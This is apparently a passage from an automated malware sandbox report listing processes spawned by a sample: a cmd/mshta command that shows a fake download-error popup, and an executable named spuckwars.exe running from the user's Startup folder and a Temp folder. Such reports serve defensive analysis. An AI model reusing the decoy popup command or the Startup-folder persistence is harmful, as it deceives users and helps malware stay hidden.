                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                  Wow64 process (32bit):false
                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                  Imagebase:0x7ff66e660000
                                                                                                                  File size:862'208 bytes
                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                  Has elevated privileges:true
                                                                                                                  Has administrator privileges:true
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Has exited:true

                                                                                                                  General

                                                                                                                  Target ID:26
                                                                                                                  Start time:08:39:40
                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Windows\System32\cmd.exe
                                                                                                                  Wow64 process (32bit):false
                                                                                                                  Commandline:cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()"
                                                                                                                  Imagebase:0x7ff615600000
                                                                                                                  File size:289'792 bytes
                                                                                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                  Has elevated privileges:true
                                                                                                                  Has administrator privileges:true
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Has exited:true

                                                                                                                  General

                                                                                                                  Target ID:27
                                                                                                                  Start time:08:39:40
                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Windows\System32\mshta.exe
                                                                                                                  Wow64 process (32bit):false
                                                                                                                  Commandline:mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()"
                                                                                                                  Imagebase:0x7ff600e70000
                                                                                                                  File size:14'848 bytes
                                                                                                                  MD5 hash:0B4340ED812DC82CE636C00FA5C9BEF2
                                                                                                                  Has elevated privileges:true
                                                                                                                  Has administrator privileges:true
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Has exited:true

                                                                                                                  General

                                                                                                                  Target ID:28
                                                                                                                  Start time:08:39:49
                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exe
                                                                                                                  Wow64 process (32bit):false
                                                                                                                  Commandline:"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exe"
                                                                                                                  Imagebase:0x7ff684d20000
                                                                                                                  File size:162'028'032 bytes
                                                                                                                  MD5 hash:6DE6C1C8E6ECD92A94595EBC1189C2B2
                                                                                                                  Has elevated privileges:false
                                                                                                                  Has administrator privileges:false
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Has exited:false

                                                                                                                  General

                                                                                                                  Target ID:29
                                                                                                                  Start time:08:41:11
                                                                                                                  Start date:10/04/2024
                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  Wow64 process (32bit):false
                                                                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2492 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
                                                                                                                  Imagebase:0x7ff6e0f20000
                                                                                                                  File size:162'028'032 bytes
                                                                                                                  MD5 hash:6DE6C1C8E6ECD92A94595EBC1189C2B2
                                                                                                                  Has elevated privileges:true
                                                                                                                  Has administrator privileges:true
                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                  Has exited:true

                                                                                                                  Disassembly

                                                                                                                  ⊘No disassembly